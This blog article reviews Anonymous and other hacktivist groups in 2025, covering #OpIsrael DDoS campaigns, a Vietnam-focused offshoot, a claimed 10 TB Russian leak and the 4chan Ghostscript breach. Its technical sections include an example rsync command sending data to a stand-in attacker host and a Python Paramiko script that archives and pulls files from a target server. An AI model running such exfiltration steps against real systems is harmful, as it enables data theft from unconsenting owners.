You remember Anonymous, right? The faceless hackers in Guy Fawkes masks who burst onto the internet in the mid‑2000s and made “hacktivism” a household term. Back then it felt as if every headline about a big cyberattack had the word Anonymous attached to it. So here we are in 2025, and the obvious question arises: what is the world‑famous hacktivist collective doing now? Are they still hijacking government websites, releasing troves of data and waging cyber‑wars? Or has the collective splintered into a dozen rival factions arguing over who gets to wear the coolest mask? FYI, it’s a bit of both.
In this article we’ll catch up on Anonymous in 2025, unpacking their biggest campaigns, offshoots and controversies. I’ll share some personal thoughts (yep, I have feelings about hacktivists), sprinkle in a few rhetorical questions and maybe even a light sarcastic comment or two. We’ll dive into the tech they use, from distributed‑denial‑of‑service (DDoS) attacks to terabyte‑scale data leaks, and we’ll explore the wider hacktivist ecosystem that has grown around them. Ready? Let’s go.
Who is Anonymous today?
A decentralised brand with many faces
One of the biggest misconceptions about Anonymous is that it’s a unified organisation. It isn’t. Anonymous is a banner that anyone can adopt for any cause. If you decide to leak government documents from your basement in Weybridge, you can call yourself Anonymous (please don’t do that though). No formal hierarchy means no central leadership, which fosters creativity but also breeds chaos. That explains why one branch of Anonymous might campaign for LGBTQ+ rights while another posts propaganda in support of an authoritarian regime.
Motivations and moral ambiguity
Anonymous’s motives have always been murky. Some participants champion noble causes like freedom of information or opposition to corruption. Others embrace cyber mischief or political trolling. In 2025 the group continues to position itself as a digital vigilante targeting governments, corporations and individuals it views as oppressivetimesofindia.indiatimes.com. Yet because anyone can claim membership, motivations vary wildly. That lack of consistency has led critics to accuse Anonymous of over‑promising and under‑delivering, while supporters see it as a dynamic movement that evolves with global politicstimesofindia.indiatimes.com.
How does Anonymous coordinate?
If you’re wondering how a leaderless movement organises global campaigns, here’s a hint: it’s all about online platforms and open‑source tools. Telegram channels, X (formerly Twitter) hashtags and forums serve as rallying points. Hackers publish tools and instructions on GitHub, and operations often revolve around a catchy hashtag like #OpIsrael or #OpRussia. This decentralised infrastructure allows for rapid mobilisation but also opens the door to fakes and impostors. Ever been part of a group project with no leader? Now imagine that group project involves breaching secure networks. 🤔
Spotlight 1: #OpIsrael 2025 – the perennial hacktivist campaign
Origins and objectives
The #OpIsrael campaign isn’t new. It started in 2013 as an annual hacktivist campaign aimed at Israeli government websites and corporationsradware.com. Every year, Anonymous and allied groups launch DDoS attacks, leak data and deface websites to protest Israeli policies. By 2025 the campaign has evolved into a broader, international movement that invites activists from around the world.
What happened in 2025?
In April 2025 the campaign re‑ignited. Radware’s threat intelligence team noted a significant rise in social media chatter with mentions of #OpIsrael spiking after 18 Marchradware.com. Hacktivists broadened their target list to include Israel’s allies, such as the United States and the United Kingdomradware.com. More worryingly, they adopted advanced Layer 7 Web‑DDoS techniques. Traditional volumetric floods (think of jamming the network with garbage) gave way to targeted attacks that mimic legitimate user behaviour. According to Radware, these Layer 7 attacks surged 550% in 2024, signalling an escalationradware.com.
Pre‑attack reconnaissance and propaganda
Modern hacktivists treat campaigns like marketing launches. Before the DDoS storm, activists conduct reconnaissance, scanning target systems for vulnerabilities. They share propaganda across Telegram, X and Pastebinradware.com. If you suddenly see a barrage of pro‑Palestinian posts in your feed, there’s a decent chance it’s part of the pre‑launch hype.
Impact and commentary
Despite the hype, the actual impact of #OpIsrael often falls somewhere between symbolic and disruptive. Many targeted sites experience brief outages or cosmetic defacementsradware.com. In 2025 some Israeli government portals went offline for a few hours, but there were no reports of long‑term damageradware.com. Still, the operation’s symbolic power is real: it amplifies political messages, mobilises supporters and forces organisations to review their cyber defences. Personally, I see these campaigns as digital protests—loud, messy and sometimes effective, but rarely as devastating as the headlines suggest.
Spotlight 2: Anonymous VNLBN – the Vietnam‑focused offshoot
Who are they?
One of the most fascinating developments this year is the rise of Anonymous VNLBN, a faction that positions itself as a Vietnam‑centric branch of the broader Anonymous movementradware.com. Founded on 14 March 2025, this group has been waging a hyperlocal campaign targeting Vietnamese government ministries, legal departments, healthcare providers and utilitiesradware.com. Think of them as a national chapter of a global brand.
Attack pattern and bragging rights
Anonymous VNLBN doesn’t just launch a few DDoS attacks and call it a day. They conduct coordinated assaults, then boast about them on Telegram. For example, after disabling eight of thirteen legal administration portals in Vietnam’s western provinces, they posted that “the entire Western Health Department website has been disabled”radware.com. Their posts are laced with sarcasm and swagger, often referencing “UDP death” (a nod to DDoS attack vectors) and including check‑host links as proofradware.com.
Scope of disruption
According to Radware, Vietnam recorded 179 claimed hacktivist attacks in the first four months of 2025, and Anonymous VNLBN accounted for about 84% of themradware.com. They targeted 160 distinct hosts across 38 organisations, focusing mainly on government and education sectorsradware.com. That’s a significant concentration of activity for one small faction. If nothing else, their success shows how easily an offshoot can dominate a national cyber narrative.
Motivation and propaganda
Why target Vietnam? Anonymous VNLBN claims to operate under the banner of the Commando Army, a self‑styled elite force within the Vietnamese militaryradware.com. Their messaging is laced with pro‑Russian propaganda and nationalistic rhetoricradware.com. It’s a reminder that hacktivism often blurs the line between grassroots activism and state‑sponsored influence. Could there be state actors behind the curtain? Possibly. Or it could simply be an opportunistic group using patriotic narratives to rally supporters. Either way, the group’s emergence underscores how flexible the Anonymous brand has become.
Spotlight 3: OpRussia and the 10‑terabyte leak
The claim
While the Russia–Ukraine cyber war has raged since 2022, April 2025 saw an audacious claim: Anonymous said it had exfiltrated 10 terabytes of data from Russian systemstimesofindia.indiatimes.com. According to The Times of India, the leaked data includes information on Russian businesses, Kremlin assets, pro‑Russian officials, and even files related to Donald Trumptimesofindia.indiatimes.com. The group declared that the leak was “in defense of Ukraine” and part of #OpRussiatimesofindia.indiatimes.com.
Authenticity concerns
A 10‑terabyte leak is no small feat. For context, that’s enough to store millions of high‑resolution photographs. Anonymous provided file names as proof of the haul, but as of publication there is no independent verification. Neither the Kremlin nor third‑party security firms have confirmed the leak’s authenticity. It might be a stunt designed to draw attention, or it could be a devastating breach that hasn’t yet been fully analysed. Either way, the claim illustrates how hacktivists use bold announcements to capture headlines and drive narratives—even when verification lags.
Technical insight: how big leaks happen
Curious how one might steal 10 TB of data? Here’s a simplified overview:
- Initial intrusion: Attackers gain a foothold through phishing, unpatched vulnerabilities or weak credentials.
- Privilege escalation: They elevate privileges by exploiting misconfigurations or using credential dumps.
- Lateral movement: Attackers pivot through the network, mapping out servers and databases.
- Data staging and exfiltration: They compress and transfer data using tools like
rsync,scpor custom scripts. Example command:
BASH # exfiltrate files to an external server
rsync -avz --progress /var/important-data attacker@malicious.example:/leak/archive/- Dissemination: Attackers upload the dataset to file‑sharing sites or torrents, then promote the leak via social media.
If you’re imagining a dark room full of monitors and hooded figures, you’re only half right. The actual process is more methodical and often automated. But yes, there’s usually a hoodie involved.
Why this matters
Regardless of authenticity, the #OpRussia announcement matters for two reasons. First, it reflects Anonymous’s continuing involvement in geopolitical conflicts, positioning itself as a digital ally of Ukraine. Second, it demonstrates the group’s skill in leveraging social media to amplify unverified claims. Even a false allegation can cause reputational damage and trigger investigations. As we saw with the #OpIsrael campaign, hacktivist operations are as much about information warfare as technical exploits.
Spotlight 4: The 4chan hack and inter‑faction turf wars
What happened?
On April 14 2025, the notorious anonymous imageboard 4chan was breached. According to an Acer Corner report, attackers exploited a critical vulnerability in the site’s PDF upload mechanismblog.acer.com. Specifically, 4chan accepted files with a .pdf extension without validating that they were actually PDFs. The uploaded files were processed by an outdated version of Ghostscript, a software tool used to generate thumbnails. Because 4chan’s Ghostscript version dated back to 2012, it contained known vulnerabilitiesblog.acer.com. Attackers disguised malicious PostScript files as PDFs, achieved remote code execution and then escalated privileges via a misconfigured SUID binaryblog.acer.com.
Who was behind it?
Evidence suggests that a rival forum called Soyjak.party executed the hack. Acer’s report notes that Soyjak.party—a splinter community from 4chan’s defunct /qa/ board—claimed responsibilityblog.acer.com. The attackers briefly defaced 4chan with a message reading “U GOT HACKED XD”blog.acer.com, then leaked screenshots of 4chan’s internal administrative systems, including administrator usernames, email addresses and IP addressesblog.acer.com. It’s a classic case of online turf warfare: one community humiliates another to gain clout.
Aftermath and response
In response to the breach, 4chan administrators took the site offline to patch vulnerabilities and remove the PDF upload featureblog.acer.com. Some boards were removed permanently, and security protocols were enhancedblog.acer.com. As of April 27 2025, 4chan returned online with limited functionalityblog.acer.com.
Connection to Anonymous
While the hack wasn’t orchestrated by Anonymous, it’s worth discussing because Anonymous originated on 4chan. The breach underscores the chaotic and competitive nature of online communities from which hacktivism often springs. A single vulnerability exploited by a rival forum can expose moderators and users. It also illustrates how hacktivist culture thrives on spectacle—the bigger and more embarrassing the hack, the more bragging rights for the perpetrators.
The broader hacktivist landscape in 2025
Multiple groups, multiple agendas
Anonymous isn’t the only hacktivist game in town. The Israel–Iran cyber conflict has spawned a crowded field of hacktivist groups with names like Anonymous Kashmir, Mr Hamza, DieNet, GhostSec and Dark Storm Teamoutpost24.com. These groups often form alliances based on ideology. For instance, Anonymous Kashmir and Mr Hamza Cyber Force formalised an alliance to support Palestine and Iranoutpost24.com. Another faction, BD Anonymous & Root Cyber 25, declared its intention to oppose colonialism and Zionismoutpost24.com.
Targets and tactics
Outpost24’s research catalogue shows these groups targeting a wide range of sectors: government ministries, energy companies, banks, ports, communications, defence contractors and water infrastructureoutpost24.com. The methods vary from basic DDoS and web defacements to industrial control system (ICS) attacksoutpost24.com. Some groups like Mr Hamza deploy a suite of DDoS tools such as Abyssal DDoS V3 and manage botnets named Maple, Onyx C2 and RebirthStressoutpost24.com. Others, such as Dark Storm Team, operate DDoS‑for‑hire services and align with pro‑Russia or anti‑NATO narrativesoutpost24.com. The diversity of operations highlights how hacktivism has professionalised; some collectives even offer “services” to paying customers.
Are nation‑states involved?
The overlap between hacktivism and state interests has never been blurrier. Some groups may be state‑linked or at least tolerated by governments looking for plausible deniability. Outpost24 points to alliances that suggest possible coordination between hacktivist groups and national agenciesoutpost24.com. In my view, when a group targets critical infrastructure and shares propaganda aligned with a nation’s foreign policy, it raises serious questions. Are we seeing grassroots activism, digital mercenaries or state proxies? Probably all of the above.
Technical tools and the evolving hacktivist toolbox
DDoS attacks: from botnets to Web‑DDoS
Early Anonymous campaigns relied on tools like Low Orbit Ion Cannon (LOIC), which allowed volunteers to flood websites with traffic. Today the arsenal is more sophisticated. Groups use large botnets—often built from compromised Internet‑of‑Things devices—to deliver volumetric floods. But as the #OpIsrael 2025 campaign showed, they’re shifting toward Layer 7 Web‑DDoS that mimics normal user behaviourradware.com. These attacks bypass simple network filters and can overwhelm application servers. Mr Hamza’s botnets, for example, incorporate Maple and Onyx C2 nodesoutpost24.com.
Data exfiltration and leaks
Data leaks are another hallmark of hacktivist operations. Tools like rsync, scp and custom Python scripts facilitate mass transfers. Attackers often compress archives using tar and gzip before uploading them to public or dark web file hosts. A typical exfiltration script might look like this:
import paramiko
# establish an SSH connection
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('target.example.com', username='admin', password='password')
# run the tar command to create an archive of sensitive logs
stdin, stdout, stderr = client.exec_command('tar -cvzf /tmp/logs.tar.gz /var/logs/')
# read output for debugging
after_tar = stdout.read()
print(after_tar.decode('utf-8'))
# download the archive to local machine
sftp = client.open_sftp()
sftp.get('/tmp/logs.tar.gz', 'logs.tar.gz')
# close the connections
sftp.close()
client.close()This example uses the Paramiko library to automate a secure SSH session, compress logs into a .tar.gz archive and download it. In real attacks, hackers chain these tools with encryption and custom data packaging to evade detection. Don’t try this at home unless you have permission.
Social engineering and information ops
Beyond technical exploits, information warfare plays a big role. Hacktivists craft narratives to sway public opinion or recruit supporters. Anonymous’s #OpRussia statement emphasised defending Ukrainetimesofindia.indiatimes.com, while VNLBN’s propaganda uses pro‑Russian languageradware.com. Other groups pump out memes and hashtags to attract followers or create panic. They understand that in the age of social media, shaping perception can be just as powerful as taking down a website.
Is Anonymous still relevant in 2025?
Influence vs. execution
If you measure relevance by headlines, Anonymous is still a force. Their campaigns draw media attention and spark conversation. But if you evaluate by lasting technical impact, the picture is more nuanced. Many of their attacks cause temporary disruptions and symbolic victoriesradware.com. Their biggest successes in 2025 revolve around raising awareness—for example, drawing international attention to Palestinian issues via #OpIsrael, or pressuring Vietnam’s government through VNLBN operations.
Fragmentation and credibility issues
The decentralised nature that gives Anonymous its appeal also undermines its credibility. Anyone can claim to be Anonymous, making it hard to discern genuine operations from opportunistic noise. Fraudulent claims muddy the waters. The 10 TB leak is a great example: it may be real or it may be a bluff, but the brand value of Anonymous ensures it goes viraltimesofindia.indiatimes.com. For those of us who follow cyber activism, the challenge is separating signal from noise.
The legacy factor
Despite these issues, you can’t deny that Anonymous paved the way for modern hacktivism. The group normalised using cyberattacks as a form of protest, inspired countless copycats and influenced cybersecurity culture. When I did my first vulnerability assessment for a client in 2011, the mere mention of Anonymous made executives sit up and listen. In 2025, the name still carries weight—just not the uncontested dominance it once had. That’s both a testament to their pioneering role and a sign of the maturing hacktivist ecosystem around them.
Personal reflections: hacktivism through a human lens
Over the years I’ve oscillated between admiration and scepticism toward Anonymous. In my early twenties I found their boldness exhilarating. Watching them expose unethical behaviour felt like digital whistle‑blowing. As I gained experience in the cybersecurity industry, I saw the other side: the collateral damage from DDoS attacks, the stress inflicted on small organisations and the blurred ethics when personal data is dumped online.
One thing that always strikes me is how human the movement is. Behind the masks are individuals with motivations, frustrations and—let’s be honest—egos. I’ve met self‑described hacktivists who were passionate about social justice and others who just wanted to watch the world burn. It’s messy, contradictory and not easily summarised. If you take only one thing away from this article, I hope it’s that hacktivism is a spectrum of human behaviour, not a monolithic villain or hero.
Conclusion: the road ahead
So what’s next for Anonymous and hacktivism in 2025? Expect more fragmentation, more alliances between niche groups, and a continued shift toward information operations. Traditional DDoS attacks won’t disappear, but advanced techniques that target application layers and industrial control systems will become more commonradware.comoutpost24.com. We may also see more overlap between hacktivists and nation‑state actors, blurring the line between activism and espionage.
For those of us watching from the sidelines, there are practical takeaways: harden your web applications, stay up to date with patches (especially if you run Ghostscript!), and build incident response plans that include communications strategies. Above all, maintain perspective. Anonymous still matters, but they are part of a much larger tapestry of cyber actors shaping the digital world.
As a final thought, I find comfort in this verse from the Bible (NKJV): “Be strong and courageous; do not be afraid nor be dismayed, for the Lord your God is with you wherever you go.” (Joshua 1:9). Whether you’re defending networks, advocating for change or simply reading about cyber skirmishes, remember that courage and integrity go a long way.
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